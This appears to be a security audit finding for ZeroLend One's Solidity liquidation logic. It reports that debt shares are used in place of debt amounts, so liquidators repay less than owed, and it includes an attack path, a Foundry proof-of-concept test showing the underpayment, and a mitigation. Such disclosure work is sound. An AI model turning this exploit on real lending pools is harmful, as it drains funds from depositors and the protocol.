Rapid Onyx Meerkat

High

# The liquidation process did not pay back the borrowed assets

### Summary

When a position falls below the health factor (HF), an external user can invoke `liquidate` to liquidate that specific position. However, when calculating the `actualDebtToLiquidate`, debt shares are used instead of the debt amount. This can result in less funds being repaid to the pool.

### Root Cause

[LiquidationLogic.sol::_calculateDebt](https://github.com/sherlock-audit/2024-06-new-scope/blob/main/zerolend-one/contracts/core/pool/logic/LiquidationLogic.sol#L259-L273) debtShare is returned after `_calculateDebt` calculation.
```solidity
  function _calculateDebt(
    DataTypes.ExecuteLiquidationCallParams memory params,
    uint256 healthFactor,
    mapping(address => mapping(bytes32 => DataTypes.PositionBalance)) storage balances
  ) internal view returns (uint256, uint256) {
    uint256 userDebt = balances[params.debtAsset][params.position].debtShares;

    uint256 closeFactor = healthFactor > CLOSE_FACTOR_HF_THRESHOLD ? DEFAULT_LIQUIDATION_CLOSE_FACTOR : MAX_LIQUIDATION_CLOSE_FACTOR;

    uint256 maxLiquidatableDebt = userDebt.percentMul(closeFactor);

    uint256 actualDebtToLiquidate = params.debtToCover > maxLiquidatableDebt ? maxLiquidatableDebt : params.debtToCover;

    return (userDebt, actualDebtToLiquidate);
  }
```
[LiquidationLogic.sol::_calculateAvailableCollateralToLiquidate](https://github.com/sherlock-audit/2024-06-new-scope/blob/main/zerolend-one/contracts/core/pool/logic/LiquidationLogic.sol#L328-L352) then the `debtToCover` / `actualDebtToLiquidate` is used to calculate the amount of `baseCollateral`
```solidity
  function _calculateAvailableCollateralToLiquidate(
    DataTypes.ReserveData storage collateralReserve,
    DataTypes.ReserveCache memory debtReserveCache,
    uint256 debtToCover, //@audit-info actualDebtToLiquidate.
    uint256 userCollateralBalance,
    uint256 liquidationBonus,
    uint256 collateralPrice,
    uint256 debtAssetPrice,
    uint256 liquidationProtocolFeePercentage
  ) internal view returns (uint256, uint256, uint256) {
    AvailableCollateralToLiquidateLocalVars memory vars;

    vars.collateralPrice = collateralPrice; // oracle.getAssetPrice(collateralAsset);
    vars.debtAssetPrice = debtAssetPrice; // oracle.getAssetPrice(debtAsset);

    vars.collateralDecimals = collateralReserve.configuration.getDecimals();
    vars.debtAssetDecimals = debtReserveCache.reserveConfiguration.getDecimals();

    unchecked {
      vars.collateralAssetUnit = 10 ** vars.collateralDecimals;
      vars.debtAssetUnit = 10 ** vars.debtAssetDecimals;
    }

    // This is the base collateral to liquidate based on the given debt to cover
    vars.baseCollateral = ((vars.debtAssetPrice * debtToCover * vars.collateralAssetUnit)) / (vars.collateralPrice * vars.debtAssetUnit);
```
which lead to calculation result error, liquidation process paid back less assets then expected. 

### Internal pre-conditions

1. set borrowRate && LiquidityRate to `2e27`

```solidity
  function calculateInterestRates(
    bytes32,
    bytes memory,
    DataTypes.CalculateInterestRatesParams memory params
  ) public view override returns (uint256, uint256) {
    return (2e27,2e27);
```

### External pre-conditions

_No response_

### Attack Path

1.alice supply 10e18 tokenA && tokenB
2.skip 360 days
3.candy supply 20e18 tokenA
4.candy borrow 4e18 tokenB
5.oracelA price goes down
6.external liquidate candy's position

### Impact

1.protocol lost funds

### PoC

```solidity
  function testLiquidityUseShareInsteadOfAmount() public {
    vm.warp(1641070800);
    //set lqRate && borrowRate to 2e27.

    //alice supply tokenA as colla
    uint256 mintAmount = 100e18;
    DataTypes.ExtraData memory data = DataTypes.ExtraData(bytes(''), bytes(''));
    INFTPositionManager.AssetOperationParams memory params = INFTPositionManager.AssetOperationParams(address(tokenA), alice, 10e18, 1, data);
    _mintAndApprove(alice, tokenA, mintAmount, address(nftPositionManager));
    _mintAndApprove(alice, tokenB, mintAmount, address(nftPositionManager));

    vm.startPrank(alice);
    nftPositionManager.mint(address(pool));
    nftPositionManager.supply(params);
    params = INFTPositionManager.AssetOperationParams(address(tokenB), alice, 10e18, 1, data);
    nftPositionManager.supply(params);

    //alice borrow assets(tokenB) from pool.
    params = INFTPositionManager.AssetOperationParams(address(tokenB), alice, 4e18, 1, data);
    nftPositionManager.borrow(params);
    vm.stopPrank();

    skip(365 days);

    //candy supply assets to pool.
    params = INFTPositionManager.AssetOperationParams(address(tokenA), candy, 20e18, 2, data);
    _mintAndApprove(candy, tokenA, mintAmount, address(nftPositionManager));
     vm.startPrank(candy);
    nftPositionManager.mint(address(pool));
    nftPositionManager.supply(params);

    //candy borrow assets(tokenB) from pool.
    params = INFTPositionManager.AssetOperationParams(address(tokenB), candy, 4e18, 2, data);
    nftPositionManager.borrow(params);

    //tokenA price goes down.
    oracleA.updateAnswer(0.1e8);

    //lq candy's position.
    //checking position HF.
    (,,,,,uint256 healthFactor) = pool.getUserAccountData(address(nftPositionManager),2);
    //alice's supply is being lq.
    //lq alice's assets.
    bytes32 position = keccak256(abi.encodePacked(address(nftPositionManager), 'index', uint256(2)));
    vm.stopPrank();
    tokenB.mint(address(this),10e18);
    tokenB.approve(address(pool), 10e18);

    pool.liquidate(address(tokenA), address(tokenB), position, 6e18, data);
    console2.log("cost tokenB:",10e18 - tokenB.balanceOf(address(this)));
    console2.log("pool tokenB balance:",tokenB.balanceOf(address(pool)));
  }
```

out:
```shell
Ran 1 test for test/forge/core/positions/NFTPositionManagerTest.t.sol:NFTPostionManagerTest
[PASS] testLiquidityUseShareInsteadOfAmount() (gas: 1910717)
Logs:
  cost tokenB: 317460317460317460   (0.3e18)
  pool tokenB balance: 2317460317460317460  (2.3e18)

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 13.37ms (3.71ms CPU time)

Ran 1 test suite in 154.22ms (13.37ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
```

### Mitigation

use amount of token borrowed to calculate the `baseCollateral` instead of debtShare